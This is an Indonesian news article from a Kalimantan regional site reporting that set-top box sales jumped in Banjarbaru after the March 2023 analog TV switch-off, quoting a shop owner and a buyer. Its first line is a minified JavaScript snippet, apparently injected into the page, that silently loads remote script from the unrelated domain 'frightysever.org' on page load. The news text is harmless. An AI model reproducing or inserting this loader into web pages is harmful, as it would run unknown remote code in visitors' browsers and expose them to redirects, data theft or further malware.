(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Penghentian siaran televisi analog atau Analog Switch Off (ASO) lima daerah di Kalimantan Selatan sejak Senin (20/3/2023) pukul 23.59 Wita, kontan berikan dampak besar bagi penjualan Set Top Box (STB) atau alat untuk menangkap siaran televisi digital.
Bahkan beberapa toko elektronik di Banjarbaru sempat mengalami kekosongan STB. Hal ini dikarenakan banyak warga yang berburu STB agar bisa menikmati siaran televisi kembali.
Salah satu toko elektronik yang menjual STB di Jalan Mistar Cokrokusumo, Kelurahan Sungai Besar, Bejo mengatakan, penjualan STB di tokonya mengalami peningkatan.
“Banyak sekali peningkatannya,” ujarnya, Kamis (23/3/2023) siang.
Baca juga: Pusat Perbelanjaan Modern di Banjarbaru Diduga Cemari Sungai
Disebutkannya peningkatan STB ini dimukai sejak Selasa (21/3/2023) sekitar pukul 11.00 Wita.
Toko elektronik yang menjual STB di Jalan Mistar Cokrokusumo, Kelurahan Sungai Besar. Foto: ibnu
Dibeberkan setelah ASO di Kalsel dihentikan, STB yang tersedia di toko perharinya mampu menjual kurang lebih 100 STB.
“Sebelum mati paling yang nyari 2 – 5 biji STB,” bebernya.
Bejo memastikan untuk STB di toko miliknya masih sangat aman. Bahkan, di tokonya menjual setidaknya ada 4 merk STB dibandrol sekitar Rp 200 ribu sampai Rp 275 ribu per buah.
Untuk pembeli yang membeli di tokonya, Bejo menuturkan, pihaknya bisa mengatur STB dan memberikan bimbingan teknis pengoperasian STB.
Baca juga: Borok Bea Cukai Terbongkar: Koper Putri Gus Dur Diacak-acak, Kirim Piala ‘Dipalak’ Rp 4 Juta
Sementara itu, salah seorang pembeli, Tania mengatakan setelah penghentian ASO, dirinya tidak dapat lagi menikmati siaran televisi. Bahkan, Ia mengira pada saat penghentian itu TV-nya dalam keadaan rusak.
Pegawai di toko memberikan arahan terkait setting dan pencarian channel di STB kepada salah satu pembeli. Foto: Ibnu
“Tak kirain TV-nya itu rusak atau gimana, soalnya TV-nya sudah lama banget, jadi beli TV baru,” ungkapnya.
Ketika dirinya membeli TV baru, dia baru mengetahui adanya penghentian ASO oleh pemerintah dan banyak yang mencari STB.
Baca juga: 25 Nakes dari Banjarmasin Siap Berkarir di Jepang September Mendatang
Untuk itu, Tania membeli STB di toko elektronik ini dan diberi cara untuk mengatur dan mencari channel di STB.
“Ini belajar settingnya,” tuntasnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More
This website uses cookies.